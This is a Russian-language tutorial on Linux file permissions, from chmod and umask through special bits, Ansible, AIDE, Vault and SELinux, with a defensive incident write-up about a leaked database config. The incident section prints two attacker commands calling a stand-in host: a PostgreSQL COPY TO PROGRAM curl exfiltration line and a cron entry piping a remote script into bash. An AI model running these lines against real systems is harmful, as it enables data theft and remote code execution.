Добавить в корзинуПозвонить
Найти в Дзене
SEBERD IT Base

Права доступа в Linux: полное руководство от chmod до Vault

Дисклеймер Материал предназначен для специалистов по информационной безопасности, системных администраторов и разработчиков. Рассматриваются исключительно технологии и методики — принципы работы, архитектура, способы обнаружения и нейтрализации угроз. Статья носит образовательный характер, не содержит инструкций по созданию или распространению вредоносного ПО и не призывает к нарушению законодательства РФ. Ответственность за применение описанных методов лежит на читателе в рамках действующего законодательства. Системный администратор открывает лог в три часа ночи и видит строку, которая объясняет всё: веб-сервер прочитал файл database.yml с паролем от PostgreSQL, а права на нём стояли 644. Злоумышленник, получив оболочку через RCE, просто скопировал файл и подключился к базе напрямую. Утекли 47 000 записей. Причина — одна цифра не там. https://seberd.ru/153 В Linux каждый файл и каждая директория — это объект в файловой системе, к которому процессы обращаются от имени пользователей. Яд
Оглавление

Права доступа в Linux: полное руководство от chmod до Vault

Дисклеймер

Материал предназначен для специалистов по информационной безопасности, системных администраторов и разработчиков. Рассматриваются исключительно технологии и методики — принципы работы, архитектура, способы обнаружения и нейтрализации угроз. Статья носит образовательный характер, не содержит инструкций по созданию или распространению вредоносного ПО и не призывает к нарушению законодательства РФ. Ответственность за применение описанных методов лежит на читателе в рамках действующего законодательства.

Системный администратор открывает лог в три часа ночи и видит строку, которая объясняет всё: веб-сервер прочитал файл database.yml с паролем от PostgreSQL, а права на нём стояли 644. Злоумышленник, получив оболочку через RCE, просто скопировал файл и подключился к базе напрямую. Утекли 47 000 записей. Причина — одна цифра не там. https://seberd.ru/153

Что такое права доступа в Linux и как они работают

В Linux каждый файл и каждая директория — это объект в файловой системе, к которому процессы обращаются от имени пользователей. Ядро не позволяет процессу работать с файлом произвольно: перед каждым обращением оно проверяет, разрешено ли запрашивающему субъекту выполнять эту конкретную операцию.

Операций три. Чтение (r, read) — возможность получить содержимое файла или список имён в директории. Запись (w, write) — возможность изменить содержимое файла, создать новый файл в директории или удалить существующий. Выполнение (x, execute) — для файла это право запустить его как программу, для директории — право войти внутрь и обращаться к её содержимому.

Без системы разграничения доступа любой пользователь мог бы перезаписать /etc/passwd, прочитать чужой SSH-ключ или остановить системный демон. Права создают границы, нарушить которые без явного повышения привилегий невозможно.

Ключевая деталь: ядро проверяет права не в произвольном порядке, а строго последовательно. Сначала оно смотрит, совпадает ли UID процесса с UID владельца файла. Если да — применяет права владельца и останавливается. Если нет — проверяет, входит ли GID процесса в группу файла. Если да — применяет права группы. Только если оба условия не выполнены, применяются права для «остальных». Это означает, что владелец файла не получает дополнительно права группы: он либо попадает в категорию владельца, либо нет.

Три категории пользователей: владелец, группа, остальные

Модель разграничения доступа в Linux оперирует тремя субъектами, а не конкретными пользователями.

Владелец (u, user) — пользователь, которому файл принадлежит. При создании файла его владельцем становится тот, чей процесс файл создал. Владение можно передать командой chown, но только root вправе назначить владельцем произвольного пользователя; обычный пользователь не может передать свой файл кому-то другому.

Группа (g, group) — одна группа, связанная с файлом. У каждого файла ровно одна группа-владелец. Все пользователи, входящие в эту группу, получают права, прописанные в групповом разряде. Это удобный инструмент для команд: разработчики в группе developers могут работать с общими исходниками, не становясь владельцами каждого файла.

Остальные (o, others) — все, кто не является ни владельцем, ни членом группы файла. Это самая широкая категория, и именно к ней применяются наиболее строгие ограничения в типичных конфигурациях.

Суперпользователь (root, UID 0) стоит вне этой системы: ядро не проверяет его права на чтение и запись. Единственное исключение — право на выполнение: root тоже не может запустить файл без бита x, хотя может его выставить за долю секунды.

Как читать символьное представление прав в выводе ls -l

Команда ls -l выводит права в виде строки из десяти символов. Рассмотрим конкретный пример:

-rw-r--r-- 1 alexey webapps 2048 Jan 6 14:30 report.txt drwxr-xr-x 3 alexey webapps 4096 Jan 6 14:30 projects lrwxrwxrwx 1 root root 7 Jan 6 14:30 log -> /var/log

Первый символ — тип объекта: - для обычного файла, d для директории, l для символической ссылки, b для блочного устройства, c для символьного, p для именованного канала, s для сокета.

Следующие девять символов разбиваются на три группы по три. Первая тройка — права владельца, вторая — права группы, третья — права остальных. Внутри каждой тройки позиции фиксированы: первая — r или -, вторая — w или -, третья — x, -, s, S, t или T (последние четыре — специальные биты, о них ниже).

Для report.txt: владелец alexey может читать и писать (rw-), группа webapps — только читать (r--), остальные — только читать (r--). Для директории projects: владелец может читать список, записывать и входить (rwx), группа и остальные — читать список и входить (r-x), но не создавать и не удалять файлы внутри.

Чтобы посмотреть права конкретного файла без листинга директории:

ls -l /path/to/file # информация о файле ls -ld /path/to/directory # информация о директории, а не о её содержимом

Команда stat даёт более полную картину, включая временны́е метки и числовое представление:

$ stat private.key File: private.key Size: 1679 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 131072 Links: 1 Access: (0600/-rw-------) Uid: ( 1000/ alexey) Gid: ( 1001/ webapps) Access: 2024-01-02 01:17:23 +0300 Modify: 2024-01-02 01:17:23 +0300 Change: 2024-01-02 06:45:10 +0300

Строка Access: (0600/-rw-------) показывает сразу два представления — числовое и символьное. Команда stat -c "%a %U:%G %n" файл выводит только нужные поля: числовые права, владельца, группу и имя файла.

Числовое представление прав доступа: как работает восьмеричная запись

Символьное представление наглядно, но неудобно для скриптов и быстрых команд. В числовом формате каждое из трёх прав получает фиксированное значение: r = 4, w = 2, x = 1. Комбинации складываются, что даёт одну цифру от 0 до 7 для каждой категории.

Вся таблица значений:

Три цифры рядом описывают полные права файла: первая — для владельца, вторая — для группы, третья — для остальных. 644 означает: владелец читает и пишет, группа читает, остальные читают. 700 означает: владелец имеет полный доступ, группа и остальные — никакого.

Переводить в уме несложно: видите -rwxr-xr--, разбиваете на тройки rwx / r-x / r--, считаете 7, 5, 4 — получаете 754.

Несколько наиболее распространённых комбинаций, с которыми вы встретитесь в реальной работе:

600 — закрытый файл. Только владелец читает и пишет. Стандарт для SSH-ключей, файлов с паролями, токенами. OpenSSH откажется использовать ключ, если его права шире 600.

640 — файл для владельца и сервиса. Владелец читает и пишет, группа только читает. Правильный выбор для конфигурационных файлов, которые должен читать веб-сервер или демон, но не весь мир.

644 — публичный файл. Владелец пишет, все читают. Статические веб-страницы, публичные документы, стандартный умолчательный режим для файлов под управлением umask 022.

700 — закрытая директория. Только владелец входит и работает с содержимым. Правильный режим для директорий с ключами, бэкапами, личными данными.

750 — директория для команды. Владелец имеет полный доступ, группа может войти и читать, посторонние не видят ничего.

755 — публичная директория или исполняемый файл. Владелец пишет и запускает, все остальные могут читать и запускать. Стандарт для директорий /var/www/html и системных программ.

1775 — директория с sticky-битом для загрузок. Детально разбирается ниже.

Команда chmod: как изменять права на файлы и директории

chmod (change mode) — единственная команда для установки прав. Её базовый синтаксис:

chmod ПРАВА ФАЙЛ_ИЛИ_ДИРЕКТОРИЯ

Числовой формат задаёт права абсолютно, заменяя текущие:

chmod 600 ~/.ssh/id_rsa chmod 640 /etc/nginx/nginx.conf chmod 755 /usr/local/bin/deploy.sh chmod 700 /home/alexey/.gnupg

Символьный формат изменяет конкретные биты, не трогая остальные. Синтаксис: кому operator что, где кому — u (владелец), g (группа), o (остальные), a (все); operator — + (добавить), - (убрать), = (установить точно); что — r, w, x.

chmod u+x script.sh # добавить выполнение владельцу chmod g-w config.txt # убрать запись у группы chmod o= secret.log # убрать все права у остальных chmod u=rwx,g=rx,o=r file # полное задание через символы

Символьный формат полезен, когда нужно изменить один бит, не зная текущих прав. Если вы хотите добавить выполнение всем, не трогая остальные биты, chmod a+x file сработает правильно даже если текущие права 640.

Рекурсивное применение через флаг -R распространяет команду на директорию и всё её содержимое:

chmod -R 755 /var/www/html

Здесь важна оговорка: флаг -R применяет одни и те же права и к файлам, и к директориям, что часто неправильно. Директориям нужен бит x для входа, файлам он обычно не нужен. Безопасный способ разграничить их:

find /var/www/html -type f -exec chmod 644 {} \; find /var/www/html -type d -exec chmod 755 {} \;

find с -type f обрабатывает только файлы, с -type d — только директории.

Никогда не применяйте chmod -R 777 / или широкие рекурсивные права к системным директориям. Это не просто небезопасно — это ломает систему: многие демоны проверяют права своих конфигов и отказываются работать, если они слишком открыты. sshd не запустится, если /etc/ssh/sshd_config доступен на запись другим пользователям.

Чем права на директорию отличаются от прав на файл

Одна из самых распространённых путаниц: права на директорию работают иначе, чем права на файл, даже когда биты называются одинаково.

Право r на файл позволяет прочитать его содержимое. Право r на директорию позволяет получить список имён файлов внутри — и ничего больше. Без x вы увидите список, но не сможете войти, не сможете прочитать атрибуты файлов, получите только имена.

Право w на файл позволяет изменить содержимое. Право w на директорию позволяет создавать, удалять и переименовывать файлы внутри. Здесь кроется нетривиальный момент: удаление файла контролируется правами директории, а не самого файла. Если у директории есть w для группы, любой член группы может удалить любой файл внутри, даже тот, которым не владеет и даже тот, у которого стоит 000.

drwxrwxrwx alexey webapps /uploads/ -r-------- alexey webapps /uploads/secret.txt

В этой конфигурации любой пользователь группы webapps может удалить secret.txt, несмотря на то что у него права 400. Именно для защиты от этого существует sticky-бит.

Право x на файл — это право запустить его как программу. Право x на директорию — право войти внутрь командой cd и обращаться к файлам по пути. Без x на директорию вы не сможете дотянуться до файлов внутри, даже зная их точные имена. cat /var/secrets/key.pem завершится ошибкой «Permission denied» на уровне /var/secrets, если у вас нет x на эту директорию.

Практическое следствие: для директорий r без x почти бесполезен. Для файлов наоборот — x без r редко нужен (можно запустить программу, но не прочитать её байты).

Как работает umask и как настроить права для новых файлов

При создании файла операционная система назначает ему права автоматически. Какие именно — определяет umask (user file-creation mode mask). Механизм прост: ядро берёт максимально допустимые права (666 для файлов, 777 для директорий) и вычитает маску umask.

Стандартный umask 022:

  • файл: 666 − 022 = 644 (rw-r--r--)
  • директория: 777 − 022 = 755 (rwxr-xr-x)

umask 027:

  • файл: 666 − 027 = 640 (rw-r-----)
  • директория: 777 − 027 = 750 (rwxr-x---)

umask 077:

  • файл: 666 − 077 = 600 (rw-------)
  • директория: 777 − 077 = 700 (rwx------)

Вычитание здесь не арифметическое, а побитовое: umask задаёт биты, которые будут сброшены. Результат никогда не добавит бит x к файлу — ядро изначально берёт 666, а не 777, именно чтобы новые файлы не становились исполняемыми случайно.

Посмотреть текущий umask:

umask # числовое значение: 0022 umask -S # символьное: u=rwx,g=rx,o=rx

Изменить умолчательный umask для администратора, работающего с конфиденциальными данными:

# В ~/.bashrc или ~/.profile umask 0077

После этого каждый новый файл будет создаваться с правами 600 — закрытым по умолчанию. Чтобы открыть файл для чтения группой, придётся явно выполнить chmod g+r файл.

Для серверных процессов umask задаётся отдельно. В конфигурации PHP-FPM (/etc/php/X.X/fpm/pool.d/www.conf):

php_admin_value[umask] = 0022

При 0022 PHP-скрипты создают файлы с правами 644. Для загрузок пользователей это обычно правильно — файлы должны быть доступны для чтения веб-сервером. Для временных файлов с токенами лучше 0077.

Специальные биты: SUID, SGID и Sticky Bit

Помимо девяти битов rwxrwxrwx в Linux существуют три дополнительных бита, которые изменяют стандартное поведение выполнения и владения. В числовом представлении они задаются четвёртой цифрой в начале: 4 для SUID, 2 для SGID, 1 для sticky.

Sticky Bit (1)

На директории sticky-бит ограничивает удаление: пользователь может удалить только свои файлы, даже если у директории стоит w для его группы или категории «остальные». Классический пример — /tmp:

$ ls -ld /tmp drwxrwxrwt 15 root root 4096 /tmp

Буква t в последней позиции — признак sticky-бита при наличии x у остальных. Если x у остальных нет, буква становится заглавной T. Установить:

chmod 1777 /tmp chmod +t /var/www/uploads chmod 1775 /var/www/uploads

Для директории загрузок пользователей 1775 — правильный выбор: веб-сервер может создавать файлы, члены группы не могут удалять чужие загрузки, посторонние не имеют доступа вовсе.

SGID — Set Group ID (2)

На директории SGID меняет поведение наследования группы: все новые файлы, созданные внутри, автоматически получают группу директории, а не основную группу создателя. Это удобно для совместных рабочих папок:

mkdir /projects/team chgrp developers /projects/team chmod 2775 /projects/team

Теперь любой файл, созданный разработчиком из группы developers в этой директории, будет принадлежать группе developers. Все члены группы смогут работать с ним без дополнительных команд.

В выводе ls -l SGID на директории выглядит как s или S в позиции x у группы:

drwxrwsr-x alexey developers /projects/team

На исполняемом файле SGID означает, что программа при запуске получает привилегии группы-владельца файла, а не группы запускающего пользователя. Используется, например, для write и wall, которые должны писать в терминалы других пользователей.

SUID — Set User ID (4)

Самый мощный и опасный из специальных битов. На исполняемом файле SUID означает: программа запускается с правами владельца файла, а не пользователя, который её запустил.

Канонический пример — /usr/bin/passwd:

$ ls -l /usr/bin/passwd -rwsr-xr-x 1 root root 68208 /usr/bin/passwd

Буква s вместо x у владельца показывает активный SUID. Когда обычный пользователь запускает passwd, программа выполняется с правами root и может записать новый хэш пароля в /etc/shadow, к которому обычные пользователи доступа не имеют. Сама программа при этом жёстко ограничивает, что пользователь может изменить — только свой собственный пароль.

SUID опасен, когда установлен на файл с уязвимостью. Если злоумышленник может передать такой программе специальный ввод и заставить её выполнить произвольный код, он получает права владельца — часто root. Поэтому необходимо периодически проверять SUID-файлы:

find / -perm /4000 -ls 2>/dev/null

Любой файл с SUID в директории веб-приложения — признак либо ошибки конфигурации, либо закреплённого бэкдора.

Как управлять группами: создание, добавление пользователей, назначение файлам

Права группы работают только тогда, когда группы настроены правильно. Базовые команды:

sudo groupadd developers # создать группу sudo usermod -a -G developers alexey # добавить пользователя в группу (-a обязателен!) groups alexey # посмотреть группы пользователя id alexey # полная информация: UID, GID, все группы

Флаг -a в usermod означает «добавить к существующим группам». Без него пользователь будет выведен из всех групп, кроме указанной. Это распространённая ошибка, после которой администратор теряет доступ к sudo.

Назначить группу файлу или директории:

chgrp developers /projects/app chown alexey:developers /projects/app # изменить и владельца, и группу одновременно chown :developers /projects/app # только группу через chown

После добавления пользователя в группу изменения вступают в силу только при следующей аутентификации. В текущей сессии можно применить newgrp developers — это откроет субоболочку с новой основной группой. Проверить текущие группы процесса: id без аргументов.

Как сохранить и восстановить права доступа на большой файловой структуре

Перед массовыми изменениями прав — особенно на production-серверах — необходимо сохранить текущее состояние. Инструмент getfacl записывает права в формате, который setfacl может восстановить:

# Сохранить права рекурсивно getfacl -R /var/www > /backup/www_permissions_$(date +%Y%m%d).txt # Восстановить из резервной копии setfacl --restore=/backup/www_permissions_20240102.txt

getfacl и setfacl работают и с расширенными списками доступа (ACL), если файловая система их поддерживает. Проверить наличие поддержки ACL:

tune2fs -l /dev/sda1 | grep "Default mount options" # Должно содержать acl

Если ACL не нужны, достаточно скрипта, который сохраняет права через stat и восстанавливает через chmod:

find /var/www -printf "%m %p\n" > permissions_backup.txt # Восстановление: while read mode path; do chmod "$mode" "$path" done < permissions_backup.txt

Разбор реального инцидента: как неправильные права привели к утечке 47 000 записей

Описанный ниже сценарий типичен и воспроизводится раз за разом в различных компаниях. Детали изменены, но техническая цепочка атаки реальна.

Точка входа: уязвимая библиотека загрузки файлов

Форма обратной связи на сайте позволяла прикреплять фотографии. Устаревшая библиотека обработки загрузок (не обновлялась полтора года) содержала CVE с CVSS 9.8: она не проверяла реальный тип файла через magic bytes, полагаясь только на расширение. Злоумышленник загрузил файл photo.php.jpg — веб-сервер сохранил его как photo.php и при следующем обращении по прямой ссылке выполнил как PHP-скрипт. RCE получен.

Что значит работать от имени www-data

www-data — системная учётная запись, от имени которой работает веб-сервер и интерпретатор PHP. Это не человек, а сервисный принципал с ограниченными правами: он может читать файлы сайта, писать в директории загрузок, подключаться к базе данных — ровно то, что нужно для работы приложения. При RCE злоумышленник получает оболочку с правами именно этого пользователя.

Утечка через файл конфигурации с правами 644

Конфигурационный файл /var/www/app/config/database.yml содержал учётные данные PostgreSQL. Права на нём стояли 644:

database: host: localhost port: 5432 username: app_user password: 'SuperSecretPass123!' dbname: client_database

При правах 644 файл доступен на чтение всем пользователям системы. www-data, от имени которого работал вредоносный скрипт, прочитал его без каких-либо препятствий. Через 4 минуты после получения RCE злоумышленник уже имел пароль от базы данных.

Прямое подключение к PostgreSQL и кража данных

Имея учётные данные, злоумышленник подключился к PostgreSQL напрямую, минуя веб-приложение и все его ограничения:

COPY clients TO PROGRAM 'curl -X POST https://evil.example.com/collect -d @-';

PostgreSQL выполнил запрос с правами пользователя app_user. Поскольку этому пользователю не были ограничены привилегии (он имел права суперпользователя базы, выданные «на всякий случай»), команда COPY ... TO выполнилась успешно. 47 000 строк ушло на внешний сервер.

Первая реакция и почему она сломала сайт

Администратор, обнаружив проблему, немедленно выполнил:

chmod 600 /var/www/app/config/database.yml

Файл закрылся. Атакующий потерял доступ к паролю. Через 3 секунды мониторинг показал: сайт упал. Причина: при правах 600 веб-сервер www-data (не владелец, не в группе владельца) тоже потерял доступ к файлу. Без подключения к базе PHP-приложение вернуло 500 на каждый запрос.

Правильное решение: 640 с корректной группой

chown alexey:webapps /var/www/app/config/database.yml chmod 640 /var/www/app/config/database.yml

Теперь владелец alexey читает и пишет (6), группа webapps — в которую входит www-data — только читает (4), остальные не имеют доступа (0). Сайт заработал, файл закрыт от посторонних.

Директория загрузок: sticky-бит как обязательный элемент

До инцидента директория uploads имела права 755 и принадлежала www-data:

drwxr-xr-x www-data www-data /var/www/app/uploads

Злоумышленник, работая от имени www-data как владельца директории, мог не только создавать новые файлы, но и удалять и перезаписывать существующие. Правильная конфигурация:

chown alexey:webapps /var/www/app/uploads chmod 1775 /var/www/app/uploads

После этого: alexey — полный доступ, группа webapps (включая www-data) — создание файлов, вход и чтение, www-data может создавать загрузки пользователей, но sticky-бит запрещает ему удалять файлы, которые ему не принадлежат.

Параллельно в директории uploads был создан .htaccess с запретом выполнения PHP:

php_flag engine off Options -ExecCGI AddType text/plain .php .php3 .phtml

Даже если злоумышленник загрузит PHP-файл — сервер не выполнит его, а вернёт как текст.

Закреплённый бэкдор в crontab

Проверка cron-задач пользователя www-data выявила подозрительную строку:

crontab -u www-data -l # */5 * * * * curl https://evil.example.com/shell.php | bash

Каждые пять минут сервер скачивал и выполнял произвольный код с внешнего ресурса. Задача была добавлена через тот же RCE-скрипт вскоре после первоначального проникновения. Удаление:

crontab -u www-data -e # Удалить строку и сохранить

После инцидента был введён мониторинг cron-задач всех системных учётных записей.

Как автоматизировать контроль прав: Ansible и проверочные скрипты

Ручные изменения прав — временное решение. Следующий деплой, новый разработчик, случайная рекурсивная команда — и права сбиваются. Правильный подход: описать желаемое состояние кодом и применять его автоматически.

Скрипт проверки критических прав

#!/bin/bash # /opt/security/check_permissions.sh ERRORS=0 check_permissions() { local file=$1 local expected=$2 local description=$3 local actual actual=$(stat -c "%a" "$file" 2>/dev/null) if [ -z "$actual" ]; then echo "[WARN] Файл не найден: $file" return fi if [ "$actual" != "$expected" ]; then echo "[ERROR] $description" echo " Файл: $file" echo " Текущие права: $actual, ожидается: $expected" ERRORS=$((ERRORS + 1)) fi } check_permissions "/var/www/app/config/database.yml" "640" "Конфигурация базы данных" check_permissions "/var/www/app/config/secret.key" "640" "API-ключи приложения" check_permissions "/var/www/app/uploads" "1775" "Директория загрузок" check_permissions "/etc/shadow" "640" "Файл теневых паролей" if [ $ERRORS -gt 0 ]; then echo "Найдено $ERRORS нарушений прав доступа" | \ mail -s "[Security] Нарушение прав на $(hostname)" security@company.example exit 1 fi exit 0

Запуск через cron каждый час:

0 * * * * root /opt/security/check_permissions.sh >> /var/log/perm_check.log 2>&1

Ansible Playbook для воспроизводимого состояния

--- - name: Обеспечить корректные права на критических файлах hosts: webservers become: yes vars: app_path: /var/www/app app_user: alexey app_group: webapps tasks: - name: Права на конфигурацию базы данных file: path: "{{ app_path }}/config/database.yml" owner: "{{ app_user }}" group: "{{ app_group }}" mode: '0640' - name: Права на файл с API-ключами file: path: "{{ app_path }}/config/secret.key" owner: "{{ app_user }}" group: "{{ app_group }}" mode: '0640' - name: Директория загрузок со sticky-битом file: path: "{{ app_path }}/uploads" owner: "{{ app_user }}" group: "{{ app_group }}" mode: '1775' state: directory - name: Запрет выполнения PHP в директории загрузок copy: dest: "{{ app_path }}/uploads/.htaccess" content: | php_flag engine off Options -ExecCGI owner: root group: root mode: '0644' - name: Umask для PHP-FPM lineinfile: path: /etc/php/8.2/fpm/pool.d/www.conf regexp: '^;?php_admin_value\[umask\]' line: 'php_admin_value[umask] = 0022' notify: restart php-fpm - name: Поиск и удаление SUID-битов в директории приложения command: > find {{ app_path }} -type f -perm /4000 -exec chmod u-s {} \; changed_when: false handlers: - name: restart php-fpm service: name: php8.2-fpm state: restarted

Применение на всех серверах одной командой:

ansible-playbook /ansible/playbooks/security/fix-permissions.yml

Плейбук идемпотентен: если права уже правильные — ничего не изменится. Если сбились — исправятся.

Интеграция в CI/CD

В GitLab CI проверка прав запускается как отдельный этап перед деплоем:

security:permissions: stage: test script: - ansible-playbook --check /ansible/playbooks/security/fix-permissions.yml - /opt/security/check_permissions.sh only: - main - merge_requests allow_failure: false

При allow_failure: false деплой блокируется автоматически, если проверка не прошла.

AIDE: мониторинг целостности файлов

AIDE (Advanced Intrusion Detection Environment) создаёт криптографические отпечатки файлов и периодически сверяет текущее состояние с эталоном. Изменение прав, владельца, содержимого или размера — любое из них попадает в отчёт.

sudo apt install aide # Первичная инициализация — создать эталонную базу sudo aideinit sudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

Фрагмент конфигурации /etc/aide/aide.conf:

# Следить за конфигами: права, владелец, группа, размер, хэш SHA256 /var/www/app/config p+u+g+s+sha256 # Следить за директорией загрузок: только права и владение /var/www/app/uploads p+u+g # Исключить логи — они постоянно меняются !/var/www/app/logs/ !/var/www/app/cache/

Проверка по расписанию через cron (/etc/cron.d/aide):

0 * * * * root /usr/bin/aide --check 2>&1 | mail -s "AIDE $(hostname) $(date +%Y-%m-%d)" security@company.example

При любом изменении подконтрольного файла AIDE выдаст детальный отчёт с разницей атрибутов.

HashiCorp Vault: хранение секретов вместо файлов с паролями

Файл database.yml с паролем в открытом тексте — архаичный подход. Современная альтернатива: централизованный менеджер секретов, который шифрует данные, ведёт аудит обращений и позволяет отозвать доступ за секунду.

Установка и базовая настройка

sudo apt install vault sudo systemctl enable --now vault # Инициализация (один раз) vault operator init # Сохранить 5 ключей unseal и root-токен в надёжном месте # Разблокировка (после каждого рестарта, 3 из 5 ключей) vault operator unseal <ключ1> vault operator unseal <ключ2> vault operator unseal <ключ3>

Сохранение секретов

export VAULT_TOKEN="s.XXXXXXXXXXXXXXXXXXXXXX" # Включить KV v2 (с версионированием) vault secrets enable -path=secret kv-v2 # Сохранить учётные данные базы данных vault kv put secret/app/database \ host=localhost \ port=5432 \ username=app_user \ password='$(openssl rand -base64 32)' \ dbname=client_database # Сохранить API-ключ vault kv put secret/app/api key="sk_live_$(openssl rand -hex 20)"

Получение секретов в приложении

# В скрипте деплоя или точке входа приложения DB_PASS=$(vault kv get -field=password secret/app/database) export DATABASE_URL="postgresql://app_user:${DB_PASS}@localhost/client_database"

В PHP-приложении через библиотеку vault-php:

$client = Vault\Client::make('http://vault.internal:8200', $appToken); $secret = $client->kv()->read('secret/app/database'); $dbPassword = $secret->getData()['password'];

Преимущества перед файлами: каждое обращение к секрету логируется с временнóй меткой и идентификатором клиента; токен доступа можно отозвать мгновенно без смены пароля; Vault поддерживает автоматическую ротацию паролей через database secrets engine; данные никогда не записываются на диск в открытом виде.

SELinux и AppArmor: дополнительный уровень защиты

Стандартная модель прав Linux — дискреционная (DAC, Discretionary Access Control): владелец сам решает, кому открыть доступ. SELinux и AppArmor реализуют мандатный контроль (MAC, Mandatory Access Control): политику задаёт администратор, и ни один процесс не может её обойти, даже с правами root.

SELinux

SELinux назначает каждому процессу и каждому файлу метку-контекст. Даже если файл имеет права 644, SELinux может запретить конкретному процессу его читать, если метки не совпадают с политикой.

getenforce # Enforcing / Permissive / Disabled sestatus # Подробный статус setenforce 1 # Включить enforcing без перезагрузки # Посмотреть метку файла ls -Z /var/www/app/config/database.yml # -rw-r----- alexey webapps system_u:object_r:httpd_config_t:s0 database.yml # Посмотреть метку процесса ps -eZ | grep httpd

Если приложение не может получить доступ к файлу, хотя права позволяют, причина часто в SELinux:

ausearch -m avc -ts recent # посмотреть последние отказы SELinux audit2allow -a # получить предложения по исправлению политики

AppArmor

AppArmor проще в настройке: он описывает, что конкретная программа может делать, в виде профиля.

sudo aa-status # состояние профилей sudo aa-complain /usr/sbin/nginx # режим предупреждений для отладки sudo aa-enforce /usr/sbin/nginx # блокирующий режим

Профиль для Nginx описывает, к каким директориям программа может обращаться, какие порты открывать и что создавать. Если взломанный Nginx попытается прочитать /etc/shadow или запустить curl, AppArmor заблокирует действие.

Рекомендуемые права для типовых сценариев

Сводная таблица для быстрой справки:

Чек-лист безопасности прав доступа для продакшена

Перед вводом сервера в эксплуатацию и при регулярных аудитах:

Файлы с секретами

  • Права не шире 640, владелец — не www-data
  • Группа — только группа нужного сервиса
  • Предпочтительно: секреты в Vault, не в файлах

Директории загрузок пользователей

  • Права 1775 (sticky-бит обязателен)
  • Владелец — администратор, не www-data
  • .htaccess с php_flag engine off

Umask

  • Для интерактивных сессий администраторов: 0077 в ~/.bashrc
  • Для PHP-FPM: явно задан в pool.d/www.conf

Специальные биты

  • Поиск SUID-файлов в директории приложения: find /var/www -perm /4000 -ls
  • SGID только там, где нужно наследование группы
  • Sticky-бит на всех публичных записываемых директориях

SELinux / AppArmor

  • Статус: Enforcing, не Permissive, не Disabled
  • Проверка еженедельно: getenforce

База данных

  • Подключение только с localhost (pg_hba.conf: 127.0.0.1/32)
  • Пользователь приложения без прав суперпользователя
  • log_statement = 'all' для аудита (или ddl как минимум)

Мониторинг и автоматизация

  • AIDE с почасовой проверкой
  • Ansible Playbook применяется при каждом деплое
  • Скрипт проверки прав в CI/CD с allow_failure: false

Реагирование

  • Postmortem без вины (blameless) после каждого инцидента
  • Резервная копия прав перед массовыми изменениями: getfacl -R /var/www
  • Runbook для стандартных инцидентов

Когда система отвечает «Permission denied», это не техническая помеха. Это вопрос: «Почему этот процесс должен иметь доступ к этим данным?» Правильный ответ требует понимания — кто обращается, зачем, в каком контексте. И именно это понимание отличает администратора, который настраивает права один раз «и забывает», от того, кто строит систему, устойчивую к ошибкам и атакам.